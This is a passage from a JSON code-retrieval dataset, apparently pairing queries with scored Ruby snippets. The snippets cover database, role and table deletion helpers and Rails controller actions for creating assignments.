\\\"#{service_config[\"sql_ro_user\"]}\\\" FROM \\\"#{superuser}\\\";\"\n exec_list << \"DROP ROLE \\\"#{service_config[\"sql_user\"]}\\\";\"\n exec_list << \"DROP ROLE \\\"#{service_config[\"sql_ro_user\"]}\\\";\"\n end\n if perform_delete\n delete_external_postgresql_data(exec_list, postgres)\n else\n path = File.join(backup_dir, \"postgresql-manual-cleanup.sql\")\n dump_exec_list_to_file(path, exec_list)\n log warn_CLEANSE002_no_postgres_delete(path, postgres)\n end\n end", "title": "" }, { "docid": "eb932232a9800220b8f07be720a4af14", "score": "0.6128242", "text": "def drop!\n conn = @conn_proc.call\n views.each do |_name, view|\n conn.execute SchemaStatements.drop_view view\n end\n end", "title": "" }, { "docid": "3d1161538226ec5e5671878dcd45d14e", "score": "0.61244005", "text": "def drop_sample_schema(config)\n drop_postgres_schema config\n\n ActiveRecord::Base.establish_connection config\n \n ActiveRecord::Schema.define do\n drop_table :rr_referencing rescue nil\n drop_table :rr_duplicate rescue nil\n drop_table :table_with_strange_key rescue nil\n drop_table STRANGE_TABLE rescue nil\n drop_table :extender_type_check rescue nil\n drop_table :extender_no_record rescue nil\n drop_table :extender_one_record rescue nil\n drop_table :extender_without_key rescue nil\n drop_table :extender_inverted_combined_key rescue nil\n drop_table :extender_combined_key rescue nil\n drop_table :scanner_left_records_only rescue nil\n drop_table :scanner_records rescue nil\n drop_table :scanner_text_key rescue nil\n drop_table :referencing_table rescue nil\n drop_table :referenced_table rescue nil\n drop_table :referenced_table2 rescue nil\n drop_table :table_with_manual_key\n drop_table :rr_pending_changes rescue nil\n drop_table :rr_logged_events rescue nil\n drop_table :rr_running_flags rescue nil\n drop_table :trigger_test rescue nil\n drop_table :sequence_test rescue nil\n drop_table :left_table rescue nil\n drop_table :right_table rescue nil\n end \n\n ActiveRecord::Base.connection.disconnect!\nend", "title": "" }, { "docid": "a0105eeae9ec6072827a1d7ba3e67522", "score": "0.61004573", "text": "def drop_table\n connection.drop_table table_name\n end", "title": "" }, { "docid": "fae02e3ad0e862b629d4fff7259090cc", "score": "0.60921097", "text": "def delete_db\n influx_config = YAML.load_file(\"#{Rails.root}/config/config.yml\") \\\n ['influxdb'][Rails.env]\n influx.delete_database influx_config['db_name']\n end", "title": "" }, { "docid": "22a0c98f057be4530a1ec8ebd91b48f4", "score": "0.60696995", "text": "def delete_database(db_name)\n index = Tire::Index.new(db_name)\n index.delete\n puts \"database #{db_name} deleted\"\nend", "title": "" }, { "docid": "bb343208350d58986e0ca597df5e7523", "score": "0.6062014", "text": "def destroy_schema\n Apartment::Tenant.drop(schema_name)\n Rails.logger.info(\"Tenant dropped: #{schema_name}\")\n rescue Apartment::TenantNotFound => e\n Rails.logger.warn(\"Failed to drop tenant (not found): #{schema_name}\")\n raise e if Rails.env.production? # Don't raise an exception in dev mode so to allow seeds to work\n end", "title": "" }, { "docid": "81d5d48d07829e21f71d39071a9a9501", "score": "0.6045921", "text": "def drop_database request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_drop_database_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "a4553fd7bc0b9d46559e1b7915b47b51", "score": "0.6020911", "text": "def delete_db(name)\n # Close the http connection as CouchDB will keep a file handle to the db open\n # if the http connection remains open - this will result in CouchDB throwing\n # emfile errors after a significant number of databases are deleted.\n @server.close_connection\n \n @logger.info(\"Deleting database #{name}\")\n @server.delete(\"/#{name}\")\n end", "title": "" }, { "docid": "d30b6b986e56321575f59666635f394c", "score": "0.60179234", "text": "def db_delete name\n curr_id, curr_name = @dbid, @dbname\n db_select name, false # raises an exception\n flushdb\n orig_select 0\n hdel 'ReDBis::databases', name\n if curr_name == name # stay on database 0\n @dbid, @dbname = 0, nil\n else\n orig_select curr_id\n @dbid, @dbname = curr_id, curr_name\n end\n end", "title": "" }, { "docid": "a5346f700dddd145b265369e04ba00a4", "score": "0.60157007", "text": "def cmd_db_destroy(*args)\n\t\t\tcmd_db_disconnect()\n\t\t\tinfo = parse_db_uri(args[0])\n\t\t\tFile.unlink(info[:path])\n\t\tend", "title": "" }, { "docid": "48ea8c2834dac9f92ad4c04dec4fafcc", "score": "0.60080546", "text": "def prepare_database!\n db = 'translateable_test_db'.freeze\n\n ActiveRecord::Base.establish_connection(adapter: 'postgresql', database: 'template1', username: 'postgres')\n\n begin\n ActiveRecord::Base.connection.drop_database(db)\n rescue ActiveRecord::StatementInvalid\n end\n ActiveRecord::Base.connection.create_database(db)\n\n ActiveRecord::Base.establish_connection(adapter: 'postgresql', database: db, username: 'postgres')\n\n begin\n ActiveRecord::Base.connection.drop_table :test_models\n rescue ActiveRecord::StatementInvalid\n end\n\n migrate!\nend", "title": "" }, { "docid": "758f3bf189515b36240da43858268d90", "score": "0.60044175", "text": "def drop_table(name)\n keyspace.execute(\"DROP TABLE #{name}\")\n end", "title": "" } ]
7dd4dcaa2dc9a8c09c4f297120316d97
POST /assignments POST /assignments.json
[ { "docid": "8545d84abb0c1bd3b73da2a514484b5a", "score": "0.58894914", "text": "def create\n unless current_user.instructor?(@course)\n return\n end\n if params[:assignment][:submission_due_date].blank? or params[:assignment][:review_due_date].blank?\n flash[:error] = 'Please fill in dates.'\n redirect_to :back\n return\n end\n\n\n if params['assignment']['submission_due_time(4i)']\n params['assignment']['submission_due_time'] = params['assignment']['submission_due_time(4i)'] + ':' + params['assignment']['submission_due_time(5i)']\n params['assignment'].delete 'submission_due_time(1i)'\n params['assignment'].delete 'submission_due_time(5i)'\n params['assignment'].delete 'submission_due_time(2i)'\n params['assignment'].delete 'submission_due_time(3i)'\n params['assignment'].delete 'submission_due_time(4i)'\n params['assignment'].delete 'submission_due_time(5i)'\n end\n\n if params['assignment']['review_due_time(4i)']\n params['assignment']['review_due_time'] = params['assignment']['review_due_time(4i)'] + ':' + params['assignment']['review_due_time(5i)']\n params['assignment'].delete 'review_due_time(1i)'\n params['assignment'].delete 'review_due_time(5i)'\n params['assignment'].delete 'review_due_time(2i)'\n params['assignment'].delete 'review_due_time(3i)'\n params['assignment'].delete 'review_due_time(4i)'\n params['assignment'].delete 'review_due_time(5i)'\n end\n\n @assignment = Assignment.new(params[:assignment])\n @assignment.course_id = @course.id\n @assignment.draft = true\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to [@course, @assignment] }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "6036033b73732a6b5794f660654178da", "score": "0.6971812", "text": "def create\n @assignment = Assignment.new(assignment_params)\n @assignment.creator_id = current_user.id\n\n # THIS IS ONLY FOR CREATING ASSIGNMENT FOR THE VERY FIRST TIME\n # if users wants to add more users to this, edit should be used and user_assignment_controller for it\n respond_to do |format|\n if @assignment.save\n current_user.assignments << @assignment\n @assignment.update_attribute(:is_done, false)\n @assignment.user_assignments.first.update_attribute(:assignment_id, @assignment.id) # for each?\n format.html { redirect_to current_user, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { redirect_to :back }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9806a7017b589f806669fe126a17549e", "score": "0.6879179", "text": "def create_assignment(name)\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/assignments\"\n puts \"@url is #{@url}\"\n\n @payload={'assignment': { \n 'name': name,\n 'points_possible': '0',\n 'grading_type': 'pass_fail',\n 'published': 'true',\n 'submission_types': [ \"none\" ]\n }\n }\n\n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to create assignment has Response.code #{@postResponse.code} and postResponse is #{@postRepsone}\")\nend", "title": "" }, { "docid": "13d796f9aed39825250edb33a307c7e5", "score": "0.6871304", "text": "def create\n @assignment = @user.assignments.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n flash[:notice] = 'Committee assignment was successfully created'\n format.html { redirect_to user_assignments_path(@user) }\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e51326282069149461ecbd785eaaa490", "score": "0.68658143", "text": "def create\n @assignment = Assignment.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully created.' }\n format.json { render :json => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb11d280984b5088ad96724047cd729e", "score": "0.6863894", "text": "def create\n @assigned = Assigned.new(params[:assigned])\n\n respond_to do |format|\n if @assigned.save\n format.html { redirect_to @assigned, notice: 'Assigned was successfully created.' }\n format.json { render json: @assigned, status: :created, location: @assigned }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5aefa1975fba9c6b12e3a01372e056cc", "score": "0.6848398", "text": "def create\n unless current_user.assignments.find_by(id: params[:assignment_id])\n render json: format_errors({ assignment_id: [\"is not one of current user's assignments\"] }),\n status: :forbidden\n return\n end\n\n @iteration = Iteration.create(iteration_params)\n\n if @iteration.save\n render json: @iteration, status: :created\n else\n render json: format_errors(@iteration.errors),\n status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "415a5729df0fbcd97ac76a336d6275b2", "score": "0.68248904", "text": "def create\n @assignment = Assignment.new(assignment_params)\n @users = User.all\n @resources = Resource.all\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd0527949396490e749130cd88ebe7db", "score": "0.6802955", "text": "def create\n @assignment = Assignment.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6807dc93649ea7924323ab11dabc7a22", "score": "0.6740866", "text": "def create\n @assignment = Assignment.new(assignment_params)\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ceb342af7abe77281a12a6590f47944d", "score": "0.67293763", "text": "def create\n authorize! :create, Assignment\n @assignment = Assignment.new(assignment_params)\n @assignment.task = @task\n # @assignment.creator = current_user\n # @task.work = @work\n\n respond_to do |format|\n if @assignment.save!\n format.html { redirect_to project_task_assignments_path(@project,@task), notice: 'Assignment was successfully created.' }\n format.json { render action: 'show', status: :created, location: project_task_assignments_url(@project,@task) }\n else\n set_users\n @url = project_task_assignments_path(@project,@task)\n format.html { render action: 'new' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f70c773d3c406ba83be07d0b52cc718d", "score": "0.66498476", "text": "def create\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully created.' }\n format.json { render :json => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => 'new' }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95ee2c9fa4f139d7c44f5edc498d6ba7", "score": "0.66414726", "text": "def create\n @assignment = current_user.created_assignments.create(assignment_params)\n @assignment.subtasks.create(params[:assignment][:subtask])\n respond_to do |format|\n if @assignment.save\n AssignmentsWorker.delay.perform(current_user.id)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2b754844f3985675286f8e554439a4e", "score": "0.6603046", "text": "def create\n @assignment = Assignment.new(assignment_params)\n\n respond_to do |format|\n if @assignment.save\n format.html {redirect_to @assignment, notice: 'Assignment was successfully created.'}\n format.json {render :show, status: :created, location: @assignment}\n else\n format.html {render :new}\n format.json {render json: @assignment.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "ef500a372061282b638f619935d4272f", "score": "0.65911365", "text": "def create\n @assignment = Assignment.new(assignment_params.merge(lecturer_id: current_user.id))\n\n if @assignment.save\n if params[:projects_attributes]\n render json: @assignment,\n serializer: Includes::AssignmentSerializer,\n include: 'projects',\n status: :created\n else\n render json: @assignment, status: :created\n end\n else\n render json: format_errors(@assignment.errors),\n status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c9e6320ea919f54f55df793791725d47", "score": "0.6519374", "text": "def create\n @assignment = Assignment.new(assignment_params)\n @labs = Lab.all\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9bc3cb56df9d5bf06e7c32f599482cd", "score": "0.64852375", "text": "def create\n @user_assignment = UserAssignment.new(user_assignment_params)\n\n respond_to do |format|\n if @user_assignment.save\n format.html { redirect_to @user_assignment, notice: 'User assignment was successfully created.' }\n format.json { render :show, status: :created, location: @user_assignment }\n else\n format.html { render :new }\n format.json { render json: @user_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e0657091601651fddee71462c526e19", "score": "0.64789283", "text": "def create\n @task_assignment = TaskAssignment.new(task_assignment_params)\n\n respond_to do |format|\n if @task_assignment.save\n format.html { redirect_to @task_assignment, notice: 'Task assignment was successfully created.' }\n format.json { render :show, status: :created, location: @task_assignment }\n else\n format.html { render :new }\n format.json { render json: @task_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8cd6bc760e013d006cc735b4c83d4404", "score": "0.64733976", "text": "def create\n @assignment = Assignment.new(assignment_params)\n authorize @assignment\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: t(:success, :model => Assignment.model_name.human) }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "efed41b2d0124c1cfcbe3d33fb504a9b", "score": "0.647172", "text": "def create\n # existing = Assignment.where(classroom_id: params[:classroom_id], repo_url: params[:repo_url])\n # if !existing.first.nil?\n # return error_as_json(\"Assignment #{params[:repo_url]} already exists for classroom #{params[:classroom_id]}\")\n # end\n @assignment = Assignment.new(assignment_params)\n @assignment.save ? info_as_json(\"Created assignment #{@assignment.name}\") : error_as_json(@assignment.errors)\n end", "title": "" }, { "docid": "c5f18757efbf4bda2f972ed84c1d952e", "score": "0.6467091", "text": "def create\n @roles_assignment = RolesAssignment.new(roles_assignment_params)\n\n respond_to do |format|\n if @roles_assignment.save\n format.html { redirect_to @roles_assignment, notice: 'Roles assignment was successfully created.' }\n format.json { render :show, status: :created, location: @roles_assignment }\n else\n format.html { render :new }\n format.json { render json: @roles_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3e39d7564ce01bb6d5737ec2fb22da0", "score": "0.6442229", "text": "def save_assignments\n csids = self.assigned_to_ids\n klass = self.is_annotation? ? 'Annotation' : self.class.name\n unless csids.nil?\n new_ids = csids.to_s.split(',').map(&:to_i)\n current_ids = self.reload.assignments.map(&:user_id)\n to_create = new_ids - current_ids\n to_delete = current_ids - new_ids\n to_delete.each do |id|\n Assignment.where(assigned_type: klass, assigned_id: self.id, user_id: id).last.destroy!\n end\n to_create.each do |id|\n Assignment.create!(assigned_type: klass, assigned_id: self.id, user_id: id, message: self.assignment_message)\n end\n # Save the assignment details to send them as Slack notifications\n self.instance_variable_set(\"@assignment\", { to_create: to_create, to_delete: to_delete }) unless to_delete.blank? and to_create.blank?\n end\n end", "title": "" }, { "docid": "27c20d3eb72f6ffdf94001e8013d814b", "score": "0.6439059", "text": "def new\n @task = Task.new\n 3.times{@task.assignments.build}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "title": "" }, { "docid": "b2af80b8fcf8309d01821676c13ca455", "score": "0.64087284", "text": "def create\n @task = Task.find(params[:task_id])\n @assignment = @task.assignments.build(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n flash[:notice] = 'The assignment was successfully created.'\n format.html { redirect_to project_task_path(@task.project, @task)}\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "599f18c26aacd9fcd8d550b8cdfd5c22", "score": "0.63987035", "text": "def create\n @user_assignment = UserAssignment.new(user_assignment_params)\n\n respond_to do |format|\n if @user_assignment.save\n format.html { redirect_to current_user, notice: 'Worker was successfully added' }\n format.json { render :show, status: :created, location: @user_assignment.assignment }\n\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\n end", "title": "" }, { "docid": "003d31b1d004b2f80da1b26c8652805c", "score": "0.639515", "text": "def assignment_params\n params.require(:assignment).permit(:name, :due_at, :activity_id, :category_id, :status, :is_completed, user_ids: [])\n end", "title": "" }, { "docid": "42e3c72eb7d89ee0aa9f497812b39960", "score": "0.63558376", "text": "def create\n @task = Task.new(params[:task])\n respond_to do |format|\n if @task.save\n @del = Delegation.find_by_user_id(params[:user][:id])\n @task.assignments.each do|a|\n a.update_attribute(:delegation_id,@del.id) unless @del.nil?\n end\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render json: @task, status: :created, location: @task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b85755f407f4cc7e744c9637120590a", "score": "0.63427913", "text": "def create\n @organization = Organization.new(organization_params)\n @organization.assignments << Assignment.new({user: current_user, organization: @organization, is_admin: true, is_active: true})\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c6bc55a556b78a2b02c840aca7a00790", "score": "0.6338824", "text": "def create\n @assignment_special_assignment = Assignment::SpecialAssignment.new(params[:assignment_special_assignment])\n\n respond_to do |format|\n if @assignment_special_assignment.save\n format.html { redirect_to @assignment_special_assignment, notice: 'Special assignment was successfully created.' }\n format.json { render json: @assignment_special_assignment, status: :created, location: @assignment_special_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_special_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ea09dcf7280a650319238ca0cea24eea", "score": "0.6333453", "text": "def new\n @assignment = @course.assignments.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end", "title": "" }, { "docid": "f5dbdd1b60b14edfff268988fcbcea25", "score": "0.63293123", "text": "def assignment_params\n params.require(:assignment).permit(:name, :is_done, :deadline, :group_id, user_assignments_attributes: [:user_id])\n end", "title": "" }, { "docid": "e254aef1c948232ee2cf7aaf5ba24c4f", "score": "0.6324585", "text": "def create\n @submission = Submission.new(:student_id => current_student.id, :assignment_id => params[:assignment_id])\n\n respond_to do |format|\n if @submission.save\n @assignment = @submission.assignment\n @assignment.questions.each do |question| \n answer = SubmittedAnswer.new(:submission_id => @submission.id, :question_id => question.id)\n answer.save\n end\n format.html { redirect_to edit_submission_path(@submission), notice: 'Submission was successfully created.' }\n format.json { render json: @submission, status: :created, location: @submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8df8d9590820778318d63c2e6ff4aac7", "score": "0.63133", "text": "def create\n @group = Group.find(params[:group_id])\n @assignment = @group.assignments.build(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to [:teacher, @group], notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fbc7a2445bf5a38abaf61bdd8e31d7a6", "score": "0.6295355", "text": "def create\n params[:assignment].delete(:employee)\n @assignment = Assignment.new(params[:assignment])\n @assignment.start_date = Chronic.parse(params[:assignment][:start_date])\n @assignment.end_date = Chronic.parse(params[:assignment][:end_date])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8835356c93bb0e1f06bdb63c994e4ea", "score": "0.6271318", "text": "def assignment_params\n params.require(:assignment).permit(:name, :start_date, :end_date, :point, :course_instance_id, :status, :max_attempt)\n end", "title": "" }, { "docid": "c93e93a457c132c24225390e42a9883a", "score": "0.62656045", "text": "def assignment_params\n params.require(:assignment).permit(:name, :start_date, :end_date, :rating, :type, :course_id, :questions => [])\n end", "title": "" }, { "docid": "6c03e863d645faf569368c0173a664c5", "score": "0.6227523", "text": "def create\n @patient_assignment = PatientAssignment.new(params[:patient_assignment])\n\n respond_to do |format|\n if @patient_assignment.save\n format.html { redirect_to @patient_assignment, notice: 'Patient assignment was successfully created.' }\n format.json { render json: @patient_assignment, status: :created, location: @patient_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @patient_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d203dce515de930ecb4b43cb887ac2c6", "score": "0.622", "text": "def assignment_params\n params.require(:assignment).permit(:inspector_id, :inspection_id, :scheduled_for)\n end", "title": "" }, { "docid": "8dd45c2fdce634fc246a1a6ca4be5889", "score": "0.6219607", "text": "def create\n @student_assignment = StudentAssignment.new(student_assignment_params)\n\n respond_to do |format|\n if @student_assignment.save\n format.html { redirect_to @student_assignment, notice: 'Student assignment was successfully created.' }\n format.json { render :show, status: :created, location: @student_assignment }\n else\n format.html { render :new }\n format.json { render json: @student_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad7dbd56a903346aaad8210daba4f213", "score": "0.62115264", "text": "def create\n @solution = Solution.new(solution_params)\n @solution.user_id = current_user.id\n @assignment = Assignment.find(params[:assignment_id])\n respond_to do |format|\n if @solution.save\n format.html { redirect_to @solution, notice: 'Solution was successfully created.' }\n format.json { render :show, status: :created, location: @solution }\n else\n format.html { render :new }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2395b2f508588218b8400955a570ab55", "score": "0.6208185", "text": "def create\n @techers_assignment = TechersAssignment.new(techers_assignment_params)\n\n respond_to do |format|\n if @techers_assignment.save\n format.html { redirect_to @techers_assignment, notice: 'Techers assignment was successfully created.' }\n format.json { render :show, status: :created, location: @techers_assignment }\n else\n format.html { render :new }\n format.json { render json: @techers_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40e623d6f71da2b7823a85d767424156", "score": "0.6178926", "text": "def create\n @assignment = Assignment.new(params[:assignment].merge(:course_id => params[:course_id]))\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to(course_assignment_path(:course_id => params[:course_id], :id => @assignment.id), :notice => 'Assignment was successfully created.') }\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c58646e1418cbab621e25f3091f5c589", "score": "0.61735356", "text": "def make_assignments(assigned_questions)\n assigned_questions.each do |question|\n existing_assignment = Assignment.find_by_user_id_and_question_id(self.id,question.id)\n if existing_assignment == nil\n Assignment.create(:question_id => question.id , :user_id => self.id)\n end\n end\n end", "title": "" }, { "docid": "841247bbe8557ae6af692888e20779d5", "score": "0.6163129", "text": "def new\n @assignment = @user.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end", "title": "" }, { "docid": "a83bd1ff7b04fa24ea3a1f9ce1d39d6e", "score": "0.61618966", "text": "def index\n render json: { assignments: [ @assignment.as_json ] }\n end", "title": "" }, { "docid": "8dd2c1723ee9b95ae3d13edc2260a21f", "score": "0.61270165", "text": "def create\n @exceller_assignment = ExcellerAssignment.new(exceller_assignment_params)\n\n respond_to do |format|\n if @exceller_assignment.save\n format.html { redirect_to @exceller_assignment, notice: 'Exceller assignment was successfully created.' }\n format.json { render :show, status: :created, location: @exceller_assignment }\n else\n format.html { render :new }\n format.json { render json: @exceller_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9881bf83e0deaab9d6cd690878cdc1d3", "score": "0.61256063", "text": "def create\n @task_assignment = TaskAssignment.new(params[:task_assignment])\n \n respond_to do |format|\n if @task_assignment.save\n format.html { redirect_to(@task_assignment, :notice => 'Task assignment was successfully created.') }\n format.xml { render :xml => @task_assignment, :status => :created, :location => @task_assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task_assignment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81b3d65a219cb5a9ed45fad2f2adde27", "score": "0.61204517", "text": "def new\n @assigned = Assigned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned }\n end\n end", "title": "" }, { "docid": "27093a109b2f1927b58db10feb552f84", "score": "0.6117176", "text": "def create\n @event_assignment = EventAssignment.new(event_assignment_params)\n\n respond_to do |format|\n if @event_assignment.save\n format.html { redirect_to @event_assignment, notice: 'Event assignment was successfully created.' }\n format.json { render :show, status: :created, location: @event_assignment }\n else\n format.html { render :new }\n format.json { render json: @event_assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "905dbdf04b00f1a570a0eecb0b70bdf3", "score": "0.61165845", "text": "def assignment_params\n params.require(:assignment).permit(:description, :name)\n end", "title": "" }, { "docid": "0227ad7d43cec22608ce1308f9651a28", "score": "0.6104222", "text": "def index\n @assignments = Assignment.all\n end", "title": "" }, { "docid": "0227ad7d43cec22608ce1308f9651a28", "score": "0.6104222", "text": "def index\n @assignments = Assignment.all\n end", "title": "" }, { "docid": "0227ad7d43cec22608ce1308f9651a28", "score": "0.6104222", "text": "def index\n @assignments = Assignment.all\n end", "title": "" }, { "docid": "0227ad7d43cec22608ce1308f9651a28", "score": "0.6104222", "text": "def index\n @assignments = Assignment.all\n end", "title": "" }, { "docid": "64d807b018072f7c124c52ff722c09a9", "score": "0.60781986", "text": "def create\n # raise params.inspect\n @assignment = Assignment.new(assignment_params)\n @assignment.course = Course.find(params[:course_id])\n @assignment.user=current_user\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @assignment }\n else\n format.html { render action: 'new' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3676e32bc80fba7f4f3c8de303926eac", "score": "0.60736173", "text": "def assignment_params\n params.require(:assignment).permit(:name, :teacher_id, :date, grades_attributes:\n [:id, :assignment_id, :student_id, :score, :_destroy])\n end", "title": "" }, { "docid": "5ae2dbb767edb838148f198d6c38b870", "score": "0.6071091", "text": "def create\n @assignment = Assignment.new(params[:assignment])\n @assignment.notification_type = params[:notification_type].to_s\n @assignment.user = User.find(current_user)\n @courses = Course.where(:user_id => @assignment.user)\n \n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c51a301fbbe6f213b83de3e555276bf1", "score": "0.60669386", "text": "def assignment_params\n params.require(:assignment).permit(:no, :reference, :text, :status_id, :duedate, :user_id, :comment, :community_id, :assignment_status_id, :close_date)\n end", "title": "" }, { "docid": "85d5b73a9ff4da50644fd9f420d1056a", "score": "0.60609186", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assignment }\n end\n end", "title": "" }, { "docid": "3abbd7dd5400e852307c6bb3db1e50e2", "score": "0.60603935", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignments }\n end\n end", "title": "" }, { "docid": "2fd25b232a5670956a543a925d839781", "score": "0.6057741", "text": "def assignment_params\n params.require(:assignment).permit(:game_id, :employee_id, :role)\n end", "title": "" }, { "docid": 